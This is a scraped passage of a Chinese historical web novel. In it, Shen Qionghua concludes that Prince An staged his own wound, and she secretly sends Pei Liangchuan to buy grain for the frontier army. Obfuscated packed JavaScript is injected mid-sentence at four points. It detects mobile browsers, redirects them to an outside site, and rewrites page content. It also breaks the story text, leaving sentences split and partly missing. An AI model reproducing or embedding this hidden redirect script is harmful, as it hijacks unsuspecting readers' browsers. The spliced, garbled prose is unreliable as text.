沈琼华在静坐在绣凳上,手上捧着一本游记,却一个字都未曾看进去,目光时不时看向门口。 这样的姿势足足维持了大半个时辰。 终于,临近黄昏时,洛希瑶顶着火红的晚霞踏进了沈琼华的院子。 沈琼华双眼一亮,连忙倒了一杯茶。 洛希瑶一屁股坐在绣凳上,接过茶盏一饮而尽。 “怎么样?可有打听到?”沈琼华问道。 洛希瑶点点头,开口道:“都打听清楚了,安王确实身受重伤,最严重的刀伤距心肺只有一寸的距离,皇上让其在宫中静养。” 沈琼华闻言却并未表现出幸灾乐祸,反而眉心蹙得更紧了。 上一世安王在边关待了一年半都未曾受过重伤,怎么这一世,在边关待的时间变短了,反而受了重伤? 而且安王此次受伤的时机太巧了。 巧妙地化解了他回宫要面对的困境,还大张旗鼓地张扬。 她有些怀疑安王的伤势的真伪,却在宫中和军中都没有人脉,不能求证。 这才让洛希瑶去探查一二。 却是没想到竟然真的受伤了,还伤得这么严重。 沈琼华手指轻点,垂眸深思,突然像是想到了什么,看向洛希瑶,问道:“可知道安王是因何而受伤的?” 洛希瑶道:“听说是有一日夜里,陈国派了刺客潜入了营帐中,想要刺杀安王,安王与其殊死搏斗,这才受的伤。” “刺客都死了?”沈琼华面色凝重地问道。 洛希瑶点头,“听说是安王和刺客都受了伤,动静太大,引来了巡逻的守军,刺客眼见逃不出去,就服毒自尽了。” 服毒自尽…… 沈琼华抿唇,脸色愈发有些难看了。 又问道:“安王是何时受的伤?” 洛希瑶想了想,道:“好像是表哥出京之后,皇上的旨意达到边关之前的那段时间。” 沈琼华闻言,手中的茶盏重重放在桌上,发出一声闷响。 洛希瑶见沈琼华脸色不对劲,关切问道:“怎么了,琼华?是有哪里不妥吗?” 沈琼华缓了缓,这才看向洛希瑶,道:“安王的伤……恐怕不是陈国的刺客作为……” 洛希瑶一时间脑子还没转过来,下意识道:“怎么可能,若不是陈国的此刻所为安王为何要那般说,更何况这种事情军中的士兵都看见了,他想说谎也……” 突然,洛希瑶顿住了,蓦然睁大双眼,不可置信道:“琼……琼华,你的意思该不会是认为……” 沈琼华颇为肯定地点头,道:“安王的伤十有八九是自导自演的。” “不会吧?”洛希瑶迟疑道。 沈琼华道:“你也不想想,如今是大越落下风,陈国站上风,按照先前那个趋势,陈国势如破竹,迟早会攻破别的城池,陈国有什么理由派刺客来刺杀安王?” “即便是要派,也应该是安王派刺客去刺杀陈国的主帅才是。” “若真是陈国的刺客,必定是要一击即中的,派来的人肯定不少,且身手一定是非常出众的。” “先不说他们是如何在一众营帐中精准找到安王的营帐,就说安王是如何与这么多刺客周旋的也是一个问题。” “据我所知,安王虽然也习武,武功比寻常习武之人好些,却是比不上那些死士以及杀手的。” “在众多围剿之下,安王却能撑到巡逻的侍卫赶来,由此,可以断定,这身受重伤不过是安王的计谋。”沈琼华笃定道。 “可……可是,他为什么要这样做?”洛希瑶有些不理解。 能从战场上平安回来不是一件好事吗? 怎么还有人临了了往自己身上补一刀? 这怕不是脑子不正常吧? 洛希瑶并不蠢笨,她只是进入了惯性思维出不来。 镇国公戍守边关多年,大越与陈国时常发生碰撞,每当两国交战时洛希瑶总是在心里祈祷镇国公与瑞王能够平安归来。 不光是洛希瑶这样,家中有男子参军的,都是这样的。 不求一定要建功立业,但求能够平安归来。 这是大多数人的心理想法,但却绝对不是谢祁安的想法。 谢祁安野心勃勃,自然不甘心就这样为谢南渊做了嫁衣。 更不甘心谢南渊再立战功,在军中和百姓的心中威望更上一层。 即便是被强制宣召回京,他也要最后挣扎一下,起码不能让他之前的那些功夫都白费了,得让百姓知晓他也是为国出力了的。 用一刀换回百姓记得他的功劳,让皇上疼惜他,让他有机会能够再参加进边关战事中为下一步的计划做准备,这对谢祁安来说绝对是一场划算的买卖。 沈琼华见洛希瑶不解,显然是还没想到那层,提醒道:“想一想安王回京后百姓们的态度,还有皇上之前收到战报的震怒……” 洛希瑶忽然一拍脑门,恍然大悟道:“琼华,你的意思是安王在……卖惨?” 沈琼华听到这个形容,轻笑了一下,道:“就是这个意思,安王估计是心有不甘,才想出这样的办法。” “他在用他的伤势提醒京中的百姓,提醒皇上,即便是他最后打了败仗,但他受过的伤,吃过的苦都是不可磨灭的。” “既拉拢了一波民心,又能让皇上疼惜他,说不定……” 说不定还有别的图谋,沈琼华一时间还未想到。 但她对谢祁安十分了解,此人睚眦必报又不择手段。 此次不惜差点伤及性命,所图肯定不止这么简单。 但可以确定一点,皇上此次派谢南渊前往边关顶替谢祁安的位置,谢祁安肯定怀恨在心,会寻找机会报复。 如今谢南渊和镇国公都不在京城,她和洛希瑶都得小心一点才是。 尤其是洛希瑶,镇国公府决不能如上一世一般背上通敌叛国的名声。 洛希瑶听到沈琼华说的话,先是一愣,随即便脸黑如锅底。 因为如沈琼华所言,安王自导自演的可能性更大了。 毕竟之前便是连她都在想皇上此番如此生气,安王回京会不会被罚。 可如今注意力全被安王的伤势吸引了过去,完全忘了这一回事。 洛希瑶一巴掌拍在了桌子上,愤愤道:“真是狡诈!” 连她都被糊弄了过去,还想着安王虽然人品不行,但起码还是懂得国家大义的,如今看来,可真是…… 沈琼华点点头,看洛希瑶如此生气,趁机附和道:“没错,真是太狡诈了!” “所以,希瑶,你最近这段时间得格外小心些,他是咱们为眼中钉,又手段低劣,很难保不会做出什么事情来。” “镇国公府的书房,你可一定要盯牢了。” 书房乃是重地,本就有守卫把手的,但爹爹去了边关,便是有人处心积虑混入书房,也没有什么重要机密啊。 洛希瑶虽然不知沈琼华为何一再叮嘱她要盯紧书房,但也知晓沈琼华是为她好,不想反驳她,便应了下来。 沈琼华见状,终于露出了一个满意的笑。 第二百七十九章安王调度边关粮草 送走了洛希瑶,接下来的几日,京城表面上风平浪静,实则却暗潮汹涌。 安王人在宫中静养,可他手下的人却没闲着,在私底下大肆宣扬他的伤势。 甚至有那茶楼说书的,将安王回京时的伤势以及如何受的伤说得那叫一个夸大其词,绘声绘色,唾沫横飞。 就好似安王当日回京之事,他扒开了安王的衣裳,亲眼看见了一般。 在这种传扬之下,安王还没养好伤,京中便有不少百姓忘记了安王战败的事实。 只觉得战场凶险,安王受了这么重的伤,还能在边关支撑这么久,可真是心志坚定,为国家,为百姓出生入死,大越能有这样的王爷实乃大越的一桩幸事。 沈琼华听到这些夸张的言论时,正在用膳。 闻言顿时胃口全无,心里膈应的慌。 她对洛希瑶说谢祁安的伤十有八九是自导自演的,但凭借她对这人的了解,绝对是十成十。 但奈何那些百姓对谢祁安的伤势深信不疑,她也没有办法。 总不能收买说书的,将安王是自导自演的事情说出去吧。 她没有证据,如此行事只能给自己带来危险。 谢祁安这一次可真是走了一步好棋啊。 如此阳谋,她却阻止不了,真是有些不甘心。 沈琼华待在沈家,冷眼静看事态发展,让茯苓打听着外头的消息。 一连好几日,除了那些说书的之后,谢祁安都未曾再有别的动作。 沈琼华还给洛希瑶写了信,询问镇国公府是否有什么异常,得到的结果都是没有。 一直到七八日后,宫中都传出安王已经能下地走动时,一切都还是风平浪静。 就在沈琼华暗自思索谢祁安难道心窝处挨了一刀,反倒转了性子,变得心胸开阔了起来了时,一日早晨,茯苓打听到了一个消息: 今日一早,安王上朝,皇上下旨命安王进户部,协同户部尚书一道调度边关所需要的粮草。 沈琼华:“……” 她就说怎么风平浪静的,原来是在这等着呢。 打仗不止劳命还伤财,虽说军营里用不着什么银子,但十几万大军的口粮,以及棉衣就已经是一大笔钱了。 户部尚书本就是安王的人,现下皇上下旨命安王协同调度粮草,安王便更能明目张胆的动手脚了。 边关战事眼下正胶着着,若是安王存心卡一卡,让粮草晚个几日到达边关。 士兵们连肚子都填不抱,又如何有力气去打仗。 若是春日里,倒还好些,若是粮草迟个一两日,士兵们不打仗的时候,还能去附近的山林里捕猎,找些吃的填填肚子。 可如今已是深秋,万物凋零,林中也找不到什么吃的,待入了冬,许多动物都进入冬眠,就更找不到什么吃的了。 更何况,冬日里,若是下了雪,地面湿,押运粮草拖个几日都是正常现象,便是皇上也寻不出这里头的错处。 将士们吃不饱,没有力气,两军若是交战,必定是要落于下风的,到时只怕很容易吃了败仗。 谢祁安打了败仗,往心窝里捅了一刀转移视线,可若是谢南渊打了败仗,他远在边关,谢祁安可不会跟谢南渊一样那么安分守己,定是会绞尽脑汁在京城编排谢南渊。 如此一来,更能将他之前打败仗的事情遮盖过去了。 沈琼华想到这些事情都感到颇为棘手。 都说行军打仗,粮草先行。 这种情况下,安王掌控了户部,可谓是掐住了边关大军的命脉。 不行! 决不能就这样任人宰割! 别说谢祁安如今还没做出这事,他这种情况下进了户部,简直是司马昭之心路人皆知,沈琼华用脚指头想也知道他会干什么。 为了不任人拿捏,还是要先准备准备,未雨绸缪才是。 沈琼华打定了主意,立刻站起身,喊道:“芍药,备车,我要出去!” 芍药立即应下。 沈琼华在甘草的服侍下匆匆换了一身出行的衣裳,又从妆奁的匣子里拿出一沓厚厚的银票圈起来放进了袖笼中,便行色匆匆地带着芍药与甘草坐着马车出门,往食鼎楼的方向驶去。 沈琼华走得匆忙。 她刚走还没一炷香,也得到消息的洛希瑶便从镇国公府来找她了。 可没想到却扑了个空。 问了下门房的小厮,小厮也不知晓沈琼华是去了哪儿。 洛希瑶找不到人,只能由着小厮请进去,在沈府静坐,等沈琼华回来。 第二百八十章派谁去收粮? 食鼎楼。 人声鼎沸。 沈琼华下了马车,便径直走入大堂,一眼便看见了被安锦指挥得团团转,手上捧着好几坛子酒的裴凉川,眼中闪过一抹诧异。 安锦穿着一身素雅干练的衣裳,见沈琼华来了,立马撇下裴凉川笑着迎了上来。 “小姐。” 沈琼华点点头,余光却看向裴凉川,道:“裴神医这是……” 安锦有些羞涩道:“我不让他来的,他非要来……” “所以?”沈琼华见状,眉梢不自觉一挑,面带挪榆。 沈琼华有心打趣她,安锦将事情说出来了,却反而少了那股别扭劲,大大方方道:“既然来了,哪有我忙得分身乏术,他却跟个大爷似的东逛西看的道理?” 自然是要给她帮忙的。 现如今在安锦的眼中,裴凉川早就不是什么神医了,而是将来与她一起过日子的人,自然应该妇唱夫随的。 安锦可不惯着他那些臭毛病。 沈琼华听着安锦的话,心中失笑。 从前安锦许是因着以前的遭遇,再加上要管理这偌大的食鼎楼,一板一眼的,显得格外成熟稳重。 如今与裴凉川在一起了,反而倒添了几分鲜活,有些小女儿家的意味。 沈琼华又抬眼去看裴凉川。 裴神医照旧是那般招摇的打扮,头上的束冠,腰间的佩戴依旧是由黄金打制而成的。 他穿着一身金,却帮忙做着端菜送酒的活儿。 食鼎楼的生意太过于火爆,明明是深秋,天气阴凉,他却忙得额头上沁出了些许细汗。 便是精心打扮的穿着,在一通忙乱下,也有些凌乱,显得有些狼狈。 即便是如此,他面上也没有丝毫不满,显然是甘之如饴的。 倒是有些食客,看裴凉川穿着这一身打扮却干着小二的活儿,很是诧异地看着他好几眼。 那模样似是看到了什么奇葩一样。 裴凉川显然不是第一次被这样看了,顿时剑眉倒竖,刚要开口,可是突然想到什么似的,往安锦的方向看了一眼,到嘴的话顿时又咽了回去。 一看就是安锦特意叮嘱过的,不能与食客起冲突。 见裴凉川能为安锦做到这种地步,沈琼华也总算是能放心了。 裴凉川刚来京城时,他的脾气秉性,沈琼华也算是有一些了解,如今能为安锦做到这一步还毫无怨言,可见对安锦是用心的。 沈琼华轻笑一声,“你也不要使唤他干太多活儿了,毕竟不是咱们请的小二,咱们没有给人家工钱。” 安锦撇了撇嘴,道:“小姐放心,我有分寸的。” 她也不想使唤裴凉川的,可谁让裴凉川着实烦人得很,整日瞎晃荡,还在食鼎楼一直缠着她。 她有那么多事情要做,哪有空在酒楼里陪着他腻歪。 既然他闲的很,那就干脆帮忙干活吧。 沈琼华听安锦这般说,也就没有再多说什么。 毕竟这事说到底也是安锦和裴凉川两个人之间的事情,这二人一个愿打一个愿挨,她说多了反而讨嫌了。 再者,沈琼华私心里也是赞同两人这种相处模式的。 说到底,在沈琼华心中,安锦可比裴凉川要重要的多,二人相处,安锦站在上风,沈琼华只会为她高兴。 沈琼华带着甘草与芍药一道与安锦上了二楼,四人的身影消失在大堂。 方才还在兢兢业业帮忙的裴凉川余光瞥见了,眼珠一转,将手中的端盘塞到小二手中,也蹑手蹑脚地跟了上去。 …… 包厢内。 沈琼华在圆凳上坐下,安锦递了一杯茶过来。 沈琼华接过,打开杯盏轻轻嘬了一口。 安锦轻声开口道:“小姐,您今日过来可是有何事情要交代安锦?” 往日若无其他事情,沈琼华一般只有每月查账时才会来食鼎楼,因此安锦才由此一问。 沈琼华轻轻点头,道:“确实是有一事要你去办。” 沈琼华说着,从袖中拿出一沓银票,皆都是一百两银子的面额,足有五六万两之多。 “我需要购置一批粮食,不能大批量购买,只能慢慢买,免得引起别人的怀疑,这是买粮的银子,先暂时买这些,若是有需要,后面可能还要再买一批。” 安锦接过银票,沉吟了一瞬,突然抬起头道:“小姐可是听说了今日皇上下旨让安王协助户部尚书调度边关粮草,担心安王会给瑞王殿下使绊子?” 沈琼华眼中闪过一抹诧异,“这事你也听说了?” 安锦轻笑道:“我也是刚知晓,皇上今早刚下的旨意,食鼎楼里有不少食客都在讨论此事,都说皇上看重安王,受了这么重的伤,才刚好,皇上就让安王管理这么大的事情。” 沈琼华眼中闪过一丝嘲讽。 是啊,如今京中人都道安王在边关受了重伤,谁还记得他战败的事情。 安王这一步,走得可真好。 沈琼华点头道:“没错,我确实是担心安王会从中作梗,故意拖延粮草到达边关的时间。” “这不仅是安王与瑞王的储位之争,更是关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15166184|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎边关士兵的性命,以防万一,多做些准备总是没错的。” “若安王老老实实地将粮草送去边关那自然是最好的,可若是他真的在其中动了手脚,咱们也不至于毫无准备。” “反正食鼎楼的生意好,若是粮草押送顺利,购买的这批粮食食鼎楼也消耗的掉,不至于浪费。” “至于买来的粮食,先不要放在食鼎楼,找个空着的城外庄子先存放着,免得引人侧目。” 安锦微笑道:“小姐思虑周全,心思缜密,安锦这便去安排。” 安锦说着便要转身去叫人。 刚走出几步,沈琼华又忽觉不妥,道:“等等。” 安锦脚步一顿,回头看向沈琼华。 “此次最好还是找信得过又眼生的人去收粮,不然怕是会走漏了风声。”沈琼华道。 上一回水灾,之所以能成功提前购入那么多粮食。 一是百姓和商人都不知晓会发生水灾,二是去年粮食产量多,价格便宜,三是当时无论是安王还是永宁伯府都不知晓食鼎楼是沈家的产业,没有过多关注,从中做梗。 然而这一次却不同。 新一批的粮食才刚刚收割,因着年初的水灾,今年的粮食尤其贵,又逢边关打仗,往年能买三斤的粮食,今年只能买一斤。 安王若是真想在粮草上动手脚,想要趁火**对瑞王出手,只怕也会派人监视镇国公府,便是连沈家也逃脱不了。 安锦若是派食鼎楼手底下的人去收粮,只怕安王会从中作梗,要么收粮的价格高得离谱,给安王送银子,要么便收不到粮食。 安锦听了沈琼华的话顿时眉头轻蹙,“那怎么办,若是派其他人去,不一定会谈价的。” 小姐要大批量购入粮食,卖粮食的定然是要给小姐便宜一些的,以现下粮食的价格,若是能便宜一些,可是能省不少银子的。 虽说沈家富庶,但若是白白将这些银子给了别人,安锦也是有些心疼的。 沈琼华咬牙,“无事,不过是多花些银子罢了,这也是没有办法的事情。” 若是多花些银子能打破谢祁安的计谋,那这些银子就花得值。 沈琼华话音刚落,就听见芍药大叫了一声,“谁在外面!” 沈琼华目光一厉,与安锦对视了一眼。 芍药立马上前将门打开,与正准备逃离的裴凉川撞了个正着。 裴凉川:“……” 有些尴尬的举起手挥了挥,朝沈琼华打招呼道:“沈小姐,你好啊!” 沈琼华与安锦双眼同时一亮。 第二百八十一章让裴凉川帮忙收粮 裴凉川并不是食鼎楼的人。 此人向来居无定所,此番不过是因为安锦,这才停留在了京城。 安王或许会派人盯着食鼎楼,盯着安锦与食鼎楼采买粮食的人,却绝不可能会派人盯着裴凉川。 裴凉川来食鼎楼的时间不固定,有时也不光是干活,也是当食客让人伺候着。 再者他与安锦之间的事情也并没有广而告之。 监视的人最多就是觉着裴凉川是个穿着有些奇怪的公子哥,想要追求安锦,顶多就是对他极为招摇的打扮多看两眼,并不会多分注意力在他身上。 这种情况下,裴凉川之前那招摇的打扮的好处倒是显现了出来。 人的第一印象往往会深深地刻在脑海中,只要裴凉川脱下他的衣着,换上一身简朴的衣裳,保准那些不熟悉的人都认不出来。 而且最重要的是,裴凉川信得过,并且会谈价啊。 沈琼华可没有忘记裴凉川第一次进京给谢南渊看病时提出的堪比天价的诊金,那可真是分毫不让。 让他去谈价绝对能有意想不到的收获。 沈琼华顿时收回了之前不要让裴凉川干太多活的话,侧头看了安锦一眼,就见安锦正巧也在看着她。 双眼亮晶晶的,显然是与她想到一出去了。 她轻轻点头,安锦立马就上前将裴凉川拉了进来,嘭地一声将门关上。 先发制人道:“你为何躲在门外偷听?” 裴凉川一下就蹦了起来,“什……什么叫偷听?我不过是看沈小姐来了,想跟沈小姐打个招呼罢了!” 安锦冷哼一声,明显就是不相信他的话,道:“既然你都听到了,那就没有办法了,你就帮忙收一下粮食呗?” 收粮? 裴凉川一愣,顿时反应了过来。 他往太师椅上一躺,双手搭在扶手上,架起一只脚抖着,脸上的表情颇为欠揍,道:“原来是要让我帮忙啊,行啊,你求我啊~~~” 裴凉川也不是真的想让安锦求他,就是想要逗逗安锦,谁让安锦一进入食鼎楼的大门就将他自动忽略了。 无论他做什么,都不能让安锦对食鼎楼的热情转移到他的身上。 他堂堂神医,差点来一个小小的食鼎楼当跑腿的小二用,他容易吗? 如今好不容易安锦有事需要他帮忙,他自然要好好摆一摆谱。 裴凉川这吊儿郎当的姿态与拉长的尾音成功让安锦黑了脸。 沈琼华可没有这么大的脸,觉得裴凉川与安锦在一起了就应该帮她做事。 安锦能这般自然地说出口,不过是因为安锦觉得她与裴凉川都是能信赖的亲近之人。 但沈琼华与裴凉川之间,若是没有安锦,那只不过是银货两讫的交易关系。 最多就是有些面子情,但这点面子情也不足以让一向爱财的裴凉川下次给沈琼华看病的时候诊金便宜些。 这一点,沈琼华心知肚明。 眼见安锦黑了脸,沈琼华怕两人闹矛盾,连忙笑着开口道:“此次确实需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15166185|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴神医帮忙,不知裴神医是否愿意走这一遭,帮忙收下粮食?” 沈琼华开了口,裴凉川就着台阶就下,没办法,没看见某个女子已经隐隐有发怒的前兆了吗? 裴凉川笑着道:“我与沈小姐都做过多少次交易了,帮忙嘛,好说好说,就是……” “就是这辛苦费……您看……”裴凉川搓了搓手,笑眯眯的,像个财迷。 沈琼华轻笑道:“这是自然,既然是帮忙,这是应该的。” “我喜欢双赢,不如这样吧,以现在的粮食价格为线,到裴神医谈拢的价格,省下来的银子,我给裴神医四成如何?” 原本沈琼华这般大肆购买,量多,就能便宜不少,能给裴凉川四成,已经是跟不错的价格了。 若是换个人,按照沈琼华的想法,应当是先派个人去打探到底能以多低的价格收粮,再找一个擅长谈判的。 然后从这中间省下来的银子,给个四成还差不多。 但旁人到底是不如裴凉川让人放心,有着安锦这一层关系,沈琼华也不太想将商人奸诈的一面用在裴凉川身上。 裴凉川听到这已然眼冒金光,在心里飞快地算着,自己这谈判一场能挣多少银子。 好似,比他给人治病挣得多? 裴凉川脸上的笑意遮都遮不住,当即就要一口应下。 这时,旁边听着的安锦不乐意了,出声道:“不行!” 她看向沈琼华,道:“小姐,这也太多了,您不必看在我的份上……” 第二百八十二章异于常人的审美 安锦在食鼎楼做了这么久的掌柜,于做生意一道还是有些见解的。 知晓这种分配方式本就不合理,银子是小姐出的,裴凉川不过是再将价格往下压一压,哪能得四成。 安锦觉得小姐是顾忌着她,才给这么多。 早在小姐将她从青楼里救出来时,她便在心中将自己的性命交与了小姐。 谁都不能欺负小姐,即便是裴凉川也不行! 安锦冷着一张脸,眼神似刀刃直直射向裴凉川,十分不善。 裴凉川接受到眼神顿时浑身一个激灵,摸了摸鼻子,露出一抹有些苦涩的笑。 唉,想他堂堂裴凉川,生平最喜金银和占人便宜。 如今这么大一个便宜放在面前不让他占,真是让他抓心挠肝地难受。 可是能怎么办呢? 银子没了可以再挣,可媳妇可就这么一个。 依安锦的脾气秉性以及对沈琼华的忠心与钦佩,他若是还敢应下,占了这个便宜,只怕到时想要抱得美人归就要难上加难了。 想到这,裴凉川在心中叹了口气,违心地开口道:“沈小姐,你……你这是说的什么话,裴某在你心里就是这种人吗?” “你从前帮助安锦良多,我不过是帮忙做些力所能及的小事,这是应该的,怎么好意思收你四成的银子呢。” “你只需给十几两银子,将裴某这路费包了便行。” 裴凉川说这话时,心都在滴血,可偏偏还得强颜欢笑着,眼睛时不时看向一旁的安锦的脸色,像极了那惧内的人夫。 沈琼华见裴凉川一脸痛心疾首却偏偏还得强忍着的样子,心中深觉好笑。 知晓她若是不开口,裴凉川顾及着安锦,是断不会收下这笔银子的。 其实沈家家大业大,沈琼华倒不是一定要省下这点买粮食的银子,主要还是需要一个值得信任,又不容易引起怀疑的人出面收粮。 当然,若是能省一点那自是最好不过。 这种人可是不好找。 裴凉川先是帮谢南渊解毒,自己又从他那买了不少药,眼下他与安锦又有了关系,口风也紧,脑子聪明,嘴巴还会说,简直是最合适不过的人选。 所以与其拿这点银子去利诱别人,反倒还不如给了裴凉川。 至于安锦认为裴凉川不应该拿这么多银子,沈琼华倒不这么认为,安锦是因着之前的事情一心想着她。 她自然也要为安锦考虑考虑,沈家又不差银钱,没必要为了省这一星半点的,平白矮了一头似的。 若是真按安锦说的做,欠人人情,拿人手短,将来裴凉川欺负了安锦,她都挺不直腰杆去给安锦出气。 这才是真正的得不偿失呢。 还是银货两讫的好,谁也不欠谁的。 将来若是真有什么事情,便可有仇报仇,有怨报怨。 安锦听着裴凉川说的话,脸色总算是好了一些,附和道:“是啊,小姐,他说的对,给几两银子给他当路费便成。” 沈琼华轻笑着摇摇头,开口道:“你们不必争论,就按我说的办,裴神医拿四成的银子,到底能挣多少就看你这三寸不烂之舌的本事了。” 见安锦还有话说,沈琼华道:“你不必再说了,我本就打算这样做,这银子与其让其他人挣,还不如让裴神医挣,最起码我信得过。” “你若是真的觉得多了,那便好好叮嘱他好好谈价,多买些粮食,如此那些钱也挣回来了。” 安锦听着沈琼华坚定的语气,便知晓沈琼华主意已定,没有再商量的余地。 她狠狠地瞪了裴凉川一眼,道:“你可得好好谈价!” “放心,交给我便是。”裴凉川此刻心花怒放,当即便恭维沈琼华道:“沈小姐果然是明理之人,裴某佩服。” 裴凉川高兴之余,心中又涌起一股悲凉之感。 唉,看来在安锦心中,他还远远比不上沈琼华,若是二者选其一,他肯定是被抛弃的那一个。 安锦听着这包含怨念的话,柳眉倒竖。 这意思是说她不讲理了? 安锦叉腰朝裴凉川走进,吓得裴凉川哇哇大叫。 当即拿上了桌上的银票就要走,沈琼华连忙喊住了他。 随后看向安锦,在其耳边低语几句。 安锦叉腰的手缓缓放下,从鼻腔里发出一声冷哼,红唇缓缓吐出两个字,“等着。” 随后便打开门出去了,还不忘将门关上。 不一会儿安锦便回来了,手上多了个包袱,砸进了裴凉川的怀中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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裴凉川此刻的注意力却不在衣裳上,他听到沈琼华这般说,顿时喜笑颜开道:“沈小姐也觉着我这身打扮好,令人印象深刻?” “你可真是好眼光,可惜其他人不懂我的审美,瞧这金灿灿的,多好看啊。” 说着,裴凉川又摸了摸头上的黄金玉冠以及腰间的黄金腰带,嘀咕道:“就是重了些。” 沈琼华:“……” 安锦:“……” 第二百八十三章想法子补救呢 安锦是在是忍不了了,将桌上的衣裳重新扔回了裴凉川怀中,柳眉倒竖,“赶紧去换!” 安锦忍裴凉川这身打扮已经很久了,自从她与裴凉川关系日益亲密以来,遇到裴凉川的人总会用一种震惊的眼神看着他。 甚至一时错过了,还会返回头来看。 这让经常与他同行的安锦简直不堪其扰,感觉自己像是只猴子被人围观。 偏偏裴凉川不知是哪来的自信,觉得这些人盯着他都是因着他的人格魅力与新潮的打扮,对这种土财主的装扮尤为青睐,怎么都不肯换。 如今好不容易眼睛能干净几日,安锦简直是迫不及待。 安锦坚持让裴凉川换,裴凉川即便再不情愿也只能照做,拿着那套在他看来堪称破烂的衣裳去了隔壁厢房。 待再回来时,已经换上了那身衣裳。 沈琼华勾唇打量,不得不说,裴凉川也称得上是‘仪表堂堂’四个字,这等粗劣颜色又灰败的衣裳穿在他的身上仍旧遮不住他出众的气质。 便是安锦也觉着这样的裴凉川看着顺眼了不少。 不向从前走在大街上,一身金灿灿的,阳光一照,刺眼的紧,她都不想看他。 只有裴凉川不满意,他摩挲着身上有些扎手的布料,看向安锦的目光颇为幽怨,“这都是什么啊,一点都不舒服。” 安锦直接无视。 裴凉川颇为不舍地将手中捧着的换下来的衣裳以及黄金玉冠,黄金腰带,黄金折扇等,放到安锦手边。 嘱咐道:“你先帮我收着,我回来要换回来呢。” 安锦:“……” 安锦嘴角一抽,拿起装着另一套衣裳的包袱扔到裴凉川怀中,又将桌上的银票塞到裴凉川的手中,紧接着将他推至门口,将门打开。 “快去吧!” 随后‘碰’地一声将门阖上。 裴凉川就这样被扫地出门了。 裴凉川眨了眨眼睛,看着面前的朱红色大门,似是不敢相信安锦竟如此无情,连一句道别的话都不说,就直接将他赶了出来。 他原地跳脚了一会儿,最终还是老老实实将银票贴身放好,背着一个破旧的包袱走出了食鼎楼的大门,朝马行的方向走去。 他得先买一匹好马才是。 裴凉川并没有注意到,在他背着包袱走出食鼎楼的大门时,不远处的两个小摊贩盯着他。 其中一个很快收回了视线,另一个眉头紧蹙,觉得裴凉川有些眼熟,却怎么也想不起来。 待裴凉川走远后,便也收回了视线,只是余光还盯着停在食鼎楼门前的沈府的马车。 …… 事情都交代清楚了,沈琼华又与安锦说了会儿话,看了一下食鼎楼的账簿,便带着芍药和甘草回沈府去了。 刚下马车,门房的小厮立马扬着笑脸上前道:“小姐,平宁郡主来了。” “哦?什么时候来的?”沈琼华问道。 “您刚离开没多久就来了。”小厮道。 那岂不是等了有一段时间了? 沈琼华想着洛希瑶应当也是听到了今早的旨意来沈府找她商量的,不由脚步加快了些,径直朝院子快步走去。 跨过院门,一眼就看到了洛希瑶。 “希瑶!” 洛希瑶听到沈琼华的声音眼前一亮,回过头喊道:“琼华!” 沈琼华拉着她的手一道走到屋内,刚坐下,洛希瑶便迫不及待地道:“琼华,你可听说了皇上今早的旨意?” 沈琼华点点头。 洛希瑶立刻有一堆苦水要倒,“也不知道皇上是怎么想的,竟然让安王管理大军的粮草调度!” “还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15166187|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有那安王,可真是能蹦跶,都受了那么重的伤了,刚能下地便迫不及待要管事,眼下表哥在边关打仗,粮草是大军的命脉,若是他中途给表哥使绊子可怎么办啊!” 提起安王时,洛希瑶的表情要多嫌弃就有多嫌弃。 这个安王,简直是阴魂不散,自己不好过,就也不希望别人好过! 沈琼华冷笑道:“只能说安王重伤这一步棋走得好,起码没有辜负他自伤身体。” “怎么说?”洛希瑶问道。 沈琼华轻声道:“安王自导自演的那一出戏,一,拉拢了民心,转移了视线,让所有人的视线从他战败的事情上转移到他受伤的事情上,逃过了责罚。” “二,通过这次受伤以示弱的方式让皇上对他起了怜悯疼惜之心,同时又激起了皇上的忌惮之心。” 她看着洛希瑶的眼睛道:“一个是身经百战,有强大外家撑腰,即将可能又立战功的儿子,一个是外家降爵,打了败仗,身受重伤奄奄一息的儿子,怎么看都是前者更有威胁吧。” “皇上之前不派王爷反而派安王出征,不就是因为察觉到王爷与安王之间的失衡吗?” “皇上想要将这种失衡的局面重新拉回到天平的两端,但他不仅是皇上,还是一个父亲,对王爷有一腔慈父之心,不忍对王爷做什么。” “于是,最好的方式,便是让安王与永宁伯出征,也积累战功。” “这样一来安王**比之王爷也不差什么。” 